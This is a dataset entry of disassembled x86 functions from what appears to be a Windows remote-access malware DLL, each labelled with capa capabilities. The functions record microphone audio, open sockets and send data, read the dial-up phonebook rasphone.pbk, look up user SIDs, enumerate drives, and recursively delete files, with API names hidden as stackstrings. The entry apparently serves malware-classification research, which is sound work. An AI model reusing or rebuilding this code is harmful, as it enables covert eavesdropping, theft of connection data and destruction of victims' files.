joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001650
Capabilities:
Create thread
Link many functions at runtime
Resume thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10019560
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x10], esp
push 0x1001b260
mov dword [ebp - 0x18], ecx
push eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x1c], 0x20
call sub.MSVCRT.dll__CxxThrowException
mov ecx, dword [0x10020ab0]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.waveInGetNumDevs
push ecx
call esi
call eax
test eax, eax
jne 0x10001683
mov eax, 0x10001670
ret
mov edx, dword [0x10020ab0]
push str.waveInOpen
push edx
call esi
mov edi, dword [ebp - 0x18]
mov esi, eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0
push eax
push 4
push edi
push 0x100018f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x14]
push 0x20000
push 0
lea edx, [edi + 0x46]
push ecx
lea ebx, [edi + 0x18]
push edx
push 0xffff
push ebx
mov dword [edi + 0x2c], eax
call esi
test eax, eax
je 0x100016ed
mov eax, 0x100016da
ret
mov eax, dword [0x10020ab0]
push str.waveInPrepareHeader
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x20], eax
lea esi, [edi + 0x30]
mov dword [ebp - 0x18], 2
mov ecx, dword [esi]
mov edx, dword [esi - 0x28]
push 0x20
mov dword [ecx], edx
mov eax, dword [esi]
mov ecx, dword [edi + 4]
mov dword [eax + 4], ecx
mov edx, dword [esi]
xor eax, eax
mov dword [edx + 0x10], eax
mov ecx, dword [esi]
mov dword [ecx + 0x14], eax
mov edx, dword [esi]
mov eax, dword [ebx]
push edx
push eax
call dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
add esi, 4
dec eax
mov dword [ebp - 0x18], eax
jne 0x1000170b
mov ecx, dword [0x10020ab0]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.waveInAddBuffer
push ecx
call esi
mov edx, dword [edi + 0x1c]
push 0x20
mov ecx, dword [edi + edx*4 + 0x30]
mov edx, dword [ebx]
push ecx
push edx
call eax
mov eax, dword [edi + 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [0x10020ab0]
push str.waveInStart
push ecx
call esi
mov edx, dword [ebx]
push edx
call eax
mov byte [edi + 0x44], 1
mov eax, 0x10001787
ret
Function at 0x100023b0
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Initialize winsock library

Disassembly:
push 0xffffffffffffffff
push 0x10019668
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1b8
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x10], esi
lea ecx, [esi + 4]
call fcn.10001e70
xor ebx, ebx
lea ecx, [esi + 0x2c]
mov dword [esp + 0x1d0], ebx
call fcn.10001e70
lea ecx, [esi + 0x54]
mov byte [esp + 0x1d0], 1
call fcn.10001e70
lea ecx, [esi + 0x7c]
mov byte [esp + 0x1d0], 2
call fcn.10001e70
mov al, 0x65
mov cl, 0x6c
mov byte [esp + 0x29], al
mov byte [esp + 0x2c], al
mov byte [esp + 0x1a], al
mov byte [esp + 0x1d], al
mov byte [esp + 0x20], al
mov byte [esp + 0x2d], cl
mov byte [esp + 0x32], cl
mov byte [esp + 0x33], cl
lea eax, [esp + 0x18]
lea ecx, [esp + 0x28]
mov dl, 0x6e
push eax
push ecx
mov byte [esp + 0x1d8], 3
mov dword [esi], 0x1001a3c8
mov byte [esp + 0x30], 0x6b
mov byte [esp + 0x32], 0x72
mov byte [esp + 0x33], dl
mov byte [esp + 0x36], 0x33
mov byte [esp + 0x37], 0x32
mov byte [esp + 0x38], 0x2e
mov byte [esp + 0x39], 0x64
mov byte [esp + 0x3c], bl
mov byte [esp + 0x20], 0x43
mov byte [esp + 0x21], 0x72
mov byte [esp + 0x23], 0x61
mov byte [esp + 0x24], 0x74
mov byte [esp + 0x26], 0x45
mov byte [esp + 0x27], 0x76
mov byte [esp + 0x29], dl
mov byte [esp + 0x2a], 0x74
mov byte [esp + 0x2b], 0x41
mov byte [esp + 0x2c], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edx, [esp + 0x38]
mov edi, eax
push edx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ebp, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call ebp
add esp, 4
push ebx
push ebx
push 1
push ebx
call edi
push 0x30
mov dword [esi + 0xac], eax
call ebp
add esp, 4
mov byte [esi + 0xb5], bl
mov dword [esi + 0xa8], 0xffffffff
mov byte [esp + 0x10], 0x47
mov byte [esp + 0x11], 0x68
mov byte [esp + 0x12], 0x30
mov byte [esp + 0x13], 0x73
mov edx, dword [esp + 0x10]
lea ecx, [esi + 0xb0]
mov al, 0x74
pop edi
mov dword [ecx], edx
mov byte [ecx + 4], al
mov ecx, dword [esp + 0x1c4]
mov eax, esi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x1c4
ret
Function at 0x10002680
Capabilities:
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
push edi
push str.Sleep
mov esi, ecx
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, esi
mov edi, eax
call fcn.10002c30
mov ebp, dword [sym.imp.MSVCRT.dll_puts]
push 0x1001e0ac
call ebp
mov eax, dword [esi + 0xac]
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0x1001e0ac
mov byte [esi + 0xb5], 0
call ebp
add esp, 4
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
push 0
mov dword [esi + 0xa8], eax
call edi
cmp dword [esi + 0xa8], 0xffffffff
jne 0x10002702
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x20
ret 8
push 0x30
call dword [sym.imp.MSVCRT.dll_putchar]
mov ecx, dword [esp + 0x38]
add esp, 4
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
push 0x30
mov ebx, eax
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 4
test ebx, ebx
jne 0x10002735
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x20
ret 8
push 0x1001e0ac
mov word [esp + 0x24], 2
call ebp
mov edx, dword [esp + 0x3c]
add esp, 4
push edx
call dword [sym.imp.WS2_32.dll_htons]
push 0
mov word [esp + 0x26], ax
call edi
mov eax, dword [ebx + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov dword [esp + 0x24], edx
call edi
push str.connect
push str.WS2_32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [esi + 0xa8]
lea ecx, [esp + 0x20]
push 0x10
push ecx
push edx
call eax
cmp eax, 0xffffffff
jne 0x100027a5
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x20
ret 8
call edi
mov edi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
mov byte [esp + 0x17], 1
call edi
mov ecx, dword [esi + 0xa8]
add esp, 4
lea eax, [esp + 0x13]
push 1
push eax
push 8
push 0xffff
push ecx
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x10002824
push 0x30
mov dword [esp + 0x18], 1
mov dword [esp + 0x1c], 0xea60
mov dword [esp + 0x20], 0x1388
call edi
add esp, 4
mov ecx, dword [esi + 0xa8]
lea edx, [esp + 0x13]
lea eax, [esp + 0x14]
push 0
push 0
push edx
push 0
push 0
push 0xc
push eax
push 0x98000004
push ecx
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 0x30
call edi
add esp, 4
push 1
push 0
push 0
push esi
push 0x10002860
push 0
push 0
mov byte [esi + 0xb5], 1
call fcn.10010010
add esp, 0x1c
mov dword [esi + 0xa4], eax
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret 8
Function at 0x10002c30
Capabilities:
Set socket configuration

Disassembly:
push ecx
push esi
push edi
mov edi, dword [sym.imp.MSVCRT.dll_putchar]
mov esi, ecx
push 0x30
mov word [esp + 0xc], 1
mov word [esp + 0xe], 0
call edi
mov ecx, dword [esi + 0xa8]
add esp, 4
lea eax, [esp + 8]
push 4
push eax
push 0x80
push 0xffff
push ecx
call dword [sym.imp.WS2_32.dll_setsockopt]
push 0x30
call edi
mov edx, dword [esi + 0xa8]
add esp, 4
push edx
call dword [sym.imp.KERNEL32.dll_CancelIo]
push 0x30
call edi
add esp, 4
lea eax, [esi + 0xb5]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0x30
call edi
mov ecx, dword [esi + 0xa8]
add esp, 4
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
push 0x30
call edi
mov edx, dword [esi + 0xac]
add esp, 4
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x30
call edi
add esp, 4
mov dword [esi + 0xa8], 0xffffffff
pop edi
pop esi
pop ecx
ret

Function at 0x10002e60
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 8
push ebx
push ebp
push esi
push edi
push str.Sleep
mov dword [esp + 0x18], ecx
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [esp + 0x20]
mov esi, dword [esp + 0x24]
mov ebp, dword [esp + 0x1c]
cmp edi, esi
mov ebx, eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x10], edi
jb 0x10002f0e
mov dword [esp + 0x24], 0
push 0x1001e0ac
call dword [sym.imp.MSVCRT.dll_puts]
mov eax, dword [esp + 0x18]
add esp, 4
mov ecx, dword [eax + 0xa8]
push 0
push esi
push ebp
push ecx
call dword [sym.imp.WS2_32.dll_send]
push 0
mov edi, eax
call ebx
test edi, edi
jg 0x10002ee3
mov eax, dword [esp + 0x24]
inc eax
cmp eax, 0xf
mov dword [esp + 0x24], eax
jl 0x10002ea8
cmp dword [esp + 0x24], 0xf
je 0x10002f48
mov edx, dword [esp + 0x1c]
push 0
add edx, edi
add ebp, esi
mov dword [esp + 0x20], edx
call ebx
push 0xa
call ebx
mov eax, dword [esp + 0x10]
sub eax, esi
cmp eax, esi
mov dword [esp + 0x10], eax
jae 0x10002ea0
mov edi, eax
test edi, edi
jle 0x10002f3c
xor esi, esi
mov edx, dword [esp + 0x14]
push 0
push edi
push ebp
mov eax, dword [edx + 0xa8]
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x10002f33
inc esi
cmp esi, 0xf
jl 0x10002f14
cmp esi, 0xf
je 0x10002f48
add dword [esp + 0x1c], eax
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
cmp eax, ecx
je 0x10002f4b
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret 0xc

Function at 0x10002f70
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x10
push esi
mov esi, dword [esp + 0x18]
test esi, esi
jne 0x10002f83
xor eax, eax
pop esi
add esp, 0x10
ret
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x10002fb1
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ecx, dword [eax]
mov dword [esp + 4], ecx
mov edx, dword [eax + 4]
mov dword [esp + 8], edx
mov ecx, dword [eax + 8]
mov dword [esp + 0xc], ecx
mov eax, dword [eax + 0xc]
mov edx, dword [eax]
mov eax, dword [edx]
pop esi
add esp, 0x10
ret
Function at 0x10004480
Capabilities:
Get common file path
Read .ini file

Disassembly:
sub esp, 0x220
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x20]
push 0x105
mov esi, ecx
push eax
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.Documents_and_Settings_
lea ecx, [esp + 0x24]
push 0x5c
push ecx
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
inc eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esi + 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x20]
push edx
push eax
call esi
lea ecx, [esp + 0x20]
push str.Application_DataMicrosoftNetworkConnectionspbk_rasphone.pbk
push ecx
call esi
push 0
lea edx, [esp + 0x12c]
push 0x23
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x128]
push str.MicrosoftNetworkConnectionspbk_rasphone.pbk
push eax
lea ecx, [esp + 0x130]
push str._s_s
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
lea edx, [esp + 0x30]
lea eax, [esp + 0x138]
push 0x1000
mov dword [esp + 0x2c], edx
mov dword [esp + 0x30], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 0x14
mov ebx, eax
lea ebp, [esp + 0x18]
mov dword [esp + 0x14], 2
mov ecx, 0x400
xor eax, eax
mov edi, ebx
rep stosd dword es:[edi], eax
mov ecx, dword [ebp]
push ecx
push 0x1000
push ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
mov al, byte [ebx]
mov esi, ebx
test al, al
je 0x1000457c
mov edx, dword [esp + 0x10]
push esi
inc edx
mov dword [esp + 0x14], edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esi + eax + 1]
cmp byte [esi], 0
jne 0x10004563
mov eax, dword [esp + 0x14]
add ebp, 4
dec eax
mov dword [esp + 0x14], eax
jne 0x10004540
push ebx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [esp + 0x14]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x220
ret

Function at 0x100045b0
Capabilities:
Get user security identifier

Disassembly:
sub esp, 0x210
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.FreeLibrary
mov esi, ecx
push str.kernel32.dll
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov ebp, eax
mov eax, 0x100
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov eax, dword [esi + 0x14]
test eax, eax
jne 0x100045f8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x210
ret
lea ecx, [esp + 0x1c]
lea edx, [esp + 0x18]
push ecx
lea ecx, [esp + 0x124]
push edx
push ecx
lea edx, [esp + 0x20]
lea ecx, [esp + 0x2c]
push edx
push ecx
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameA]
test eax, eax
jne 0x1000462c
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x210
ret
lea edx, [esp + 0x20]
push edx
call dword [sym.imp.ADVAPI32.dll_IsValidSid]
test eax, eax
jne 0x10004646
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x210
ret
push str.advapi32.dll
call edi
mov esi, eax
push str.ConvertSidToStringSidA
push esi
call ebx
test eax, eax
je 0x10004667
lea ecx, [esp + 0x10]
lea edx, [esp + 0x20]
push ecx
push edx
call eax
push esi
call ebp
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x210
ret
Function at 0x100054b0
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001a3f0
push 0x10019366
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push str.CharNextA
push str.USER32.dll
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call esi
push eax
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call edi
mov ebx, eax
mov dword [ebp - 0x2c], ebx
push str.Sleep
push str.kernel32.dll
call esi
push eax
call edi
mov dword [ebp - 0x20], eax
mov dword [ebp - 4], 0
push 0x30
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 4
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
mov edi, eax
mov dword [ebp - 0x28], edi
test edi, edi
je 0x1000564d
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, edi
mov dword [ebp - 0x1c], esi
cmp byte [edi], 0x5c
jne 0x10005591
lea eax, [edi + 1]
cmp byte [eax], 0x5c
jne 0x10005591
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10005570
cmp al, 0x5c
je 0x10005570
push esi
call ebx
mov esi, eax
jmp 0x1000555c
cmp byte [esi], 0
je 0x10005579
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x1000558a
cmp al, 0x5c
je 0x1000558a
push esi
call ebx
mov esi, eax
jmp 0x10005576
cmp byte [esi], 0
je 0x100055b0
jmp 0x100055ac
lea eax, [edi + 1]
cmp byte [eax], 0x3a
jne 0x100055b0
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x100055b0
cmp al, 0x5c
jne 0x100055b0
inc esi
mov dword [ebp - 0x1c], esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov al, byte [esi]
test al, al
je 0x10005611
cmp al, 0x5c
jne 0x10005606
mov byte [esi], 0
push edi
call ebx
mov dword [ebp - 0x24], eax
cmp eax, 0xffffffff
jne 0x100055f9
push 0
call dword [ebp - 0x20]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x10005603
push eax
call dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x10005603
push 0
call dword [ebp - 0x20]
push edi
jmp 0x10005644
and eax, 0x10
cmp al, 0x10
je 0x10005603
push edi
jmp 0x10005644
mov byte [esi], 0x5c
push esi
call dword [ebp - 0x2c]
mov esi, eax
mov dword [ebp - 0x1c], esi
jmp 0x100055b6
mov dword [ebp - 4], 0xffffffff
push edi
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x100056f0
Capabilities:
Get disk information
Get disk size

Disassembly:
sub esp, 0x790
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.FreeLibrary
mov dword [esp + 0x2c], ecx
push str.kernel32.dll
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [esp + 0x34], eax
lea eax, [esp + 0x140]
push eax
push 0x100
mov byte [esp + 0x3a8], 0x67
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
xor esi, esi
push str.Shell32.dll
lea ebp, [esp + 0x144]
mov dword [esp + 0x24], esi
mov dword [esp + 0x28], esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], esi
call edi
mov edi, eax
push str.SHGetFileInfoA
push edi
mov dword [esp + 0x34], edi
call ebx
mov dword [esp + 0x38], eax
mov al, byte [esp + 0x140]
test al, al
mov ebx, 1
je 0x100058c5
jmp 0x10005782
xor esi, esi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x3c]
push 0x104
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x40]
push ecx
push esi
push esi
push esi
push esi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 0x410
lea edx, [esp + 0x244]
push 0x160
push edx
push 0x80
push ebp
call dword [esp + 0x4c]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x350]
push eax
call esi
mov edi, eax
lea ecx, [esp + 0x3c]
inc edi
push ecx
mov dword [esp + 0x34], edi
call esi
inc eax
mov dword [esp + 0x10], eax
mov al, byte [ebp]
cmp al, 0x41
je 0x10005832
cmp al, 0x42
je 0x10005832
lea edx, [esp + 0x20]
push 0
lea eax, [esp + 0x1c]
push edx
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x10005832
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
mov ecx, 0x14
call fcn.10019370
mov edx, dword [esp + 0x1c]
mov esi, eax
mov eax, dword [esp + 0x18]
mov ecx, 0x14
call fcn.10019370
mov dword [esp + 0x14], eax
jmp 0x10005838
xor esi, esi
mov dword [esp + 0x14], esi
mov cl, byte [ebp]
push ebp
mov byte [esp + ebx + 0x3a4], cl
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov edx, dword [esp + 0x14]
mov ecx, edi
mov byte [esp + ebx + 0x3a1], al
mov eax, ecx
mov dword [esp + ebx + 0x3a2], esi
lea esi, [esp + 0x350]
lea edi, [esp + ebx + 0x3aa]
mov dword [esp + ebx + 0x3a6], edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 0x30]
and ecx, 3
push ebp
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x14]
lea edx, [eax + ebx]
lea esi, [esp + 0x40]
lea edi, [esp + edx + 0x3ae]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, edx
add ecx, eax
lea ebx, [ebx + ecx + 0xa]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ebp, [eax + ebp + 1]
cmp byte [ebp], 0
jne 0x10005780
mov edi, dword [esp + 0x2c]
push edi
call dword [esp + 0x38]
mov ecx, dword [esp + 0x28]
lea edx, [esp + 0x3a0]
push ebx
push edx
call fcn.1000b380
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x790
ret
Function at 0x10005b30
Capabilities:
Contain obfuscated stackstrings
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x480
mov dword [esp + 0x2c], ecx
mov al, 0x65
mov cl, 0x6c
push ebx
mov byte [esp + 0x11], cl
mov byte [esp + 0x16], cl
mov byte [esp + 0x17], cl
mov cl, 0x6f
push ebp
mov byte [esp + 0x11], al
mov byte [esp + 0x14], al
mov byte [esp + 0x21], al
mov byte [esp + 0x25], al
mov byte [esp + 0x29], al
push esi
mov byte [esp + 0x27], cl
mov byte [esp + 0x30], cl
lea eax, [esp + 0x24]
push edi
lea ecx, [esp + 0x18]
mov dl, 0x72
xor bl, bl
push eax
push ecx
mov byte [esp + 0x20], 0x6b
mov byte [esp + 0x22], dl
mov byte [esp + 0x23], 0x6e
mov byte [esp + 0x26], 0x33
mov byte [esp + 0x27], 0x32
mov byte [esp + 0x28], 0x2e
mov byte [esp + 0x29], 0x64
mov byte [esp + 0x2c], bl
mov byte [esp + 0x30], 0x52
mov byte [esp + 0x32], 0x6d
mov byte [esp + 0x34], 0x76
mov byte [esp + 0x36], 0x44
mov byte [esp + 0x37], 0x69
mov byte [esp + 0x38], dl
mov byte [esp + 0x3a], 0x63
mov byte [esp + 0x3b], 0x74
mov byte [esp + 0x3d], dl
mov byte [esp + 0x3e], 0x79
mov byte [esp + 0x3f], 0x41
mov byte [esp + 0x40], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [esp + 0x494]
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
mov dword [esp + 0x40], eax
mov al, 0x2a
mov byte [esp + 0x13], al
mov byte [esp + 0x15], al
lea edx, [esp + 0x10]
push esi
lea eax, [esp + 0x188]
push edx
push eax
mov byte [esp + 0x1c], 0x25
mov byte [esp + 0x1d], 0x73
mov byte [esp + 0x1e], 0x5c
mov byte [esp + 0x20], 0x2e
mov byte [esp + 0x22], bl
call edi
add esp, 0xc
lea ecx, [esp + 0x44]
lea edx, [esp + 0x184]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x10005c55
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x480
ret 4
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp byte [esp + 0x70], 0x2e
je 0x10005cab
test byte [esp + 0x44], 0x10
lea eax, [esp + 0x70]
push eax
push esi
push str._s_s
je 0x10005c94
lea ecx, [esp + 0x398]
push ecx
call edi
mov ecx, dword [esp + 0x4c]
add esp, 0x10
lea edx, [esp + 0x38c]
push edx
call fcn.10005b30
jmp 0x10005cab
lea ecx, [esp + 0x294]
push ecx
call edi
add esp, 0x10
lea edx, [esp + 0x288]
push edx
call ebx
lea eax, [esp + 0x44]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10005c5b
push ebp
call dword [sym.imp.KERNEL32.dll_FindClose]
push esi
call dword [esp + 0x44]
pop edi
pop esi
test eax, eax
pop ebp
pop ebx
setne al
add esp, 0x480
ret 4
Function at 0x10005ce0
Capabilities:
Contain obfuscated stackstrings
Get file size

Disassembly:
sub esp, 0x24
push ebx
push ebp
push esi
mov esi, ecx
mov al, 0x65
mov cl, 0x6c
mov byte [esp + 0x21], al
mov byte [esp + 0x24], al
mov byte [esp + 0x16], al
mov byte [esp + 0x19], al
mov byte [esp + 0x1d], al
mov byte [esp + 0x25], cl
mov byte [esp + 0x2a], cl
mov byte [esp + 0x2b], cl
mov byte [esp + 0x1c], cl
lea eax, [esp + 0x14]
push edi
lea ecx, [esp + 0x24]
mov dl, 0x72
push eax
push ecx
mov dword [esp + 0x1c], esi
mov byte [esp + 0x2c], 0x6b
mov byte [esp + 0x2e], dl
mov byte [esp + 0x2f], 0x6e
mov byte [esp + 0x32], 0x33
mov byte [esp + 0x33], 0x32
mov byte [esp + 0x34], 0x2e
mov byte [esp + 0x35], 0x64
mov byte [esp + 0x38], 0
mov byte [esp + 0x20], 0x43
mov byte [esp + 0x21], dl
mov byte [esp + 0x23], 0x61
mov byte [esp + 0x24], 0x74
mov byte [esp + 0x26], 0x46
mov byte [esp + 0x27], 0x69
mov byte [esp + 0x2a], 0x41
mov byte [esp + 0x2b], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edx, [esi + 0x20]
mov ebx, eax
mov ebp, dword [esp + 0x38]
mov ecx, 0x41
xor eax, eax
mov edi, edx
rep stosd dword es:[edi], eax
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0
mov eax, ecx
mov esi, edi
mov edi, edx
push 0x80
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 3
push 0
and ecx, 3
push 1
push bind
rep movsb byte es:[edi], byte [esi]
push ebp
call ebx
mov edi, eax
cmp edi, 0xffffffff
jne 0x10005dd5
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x24
ret 4
lea ecx, [esp + 0x10]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebp, eax
add ebp, 0xa
push ebp
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, ebp
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov byte [ebx], 0x69
mov eax, dword [esp + 0x10]
mov dword [ebx + 5], esi
mov esi, dword [esp + 0x38]
push esi
mov dword [ebx + 1], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, eax
lea edi, [ebx + 9]
inc ecx
push ebp
mov edx, ecx
push ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x1c]
call fcn.1000b380
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret 4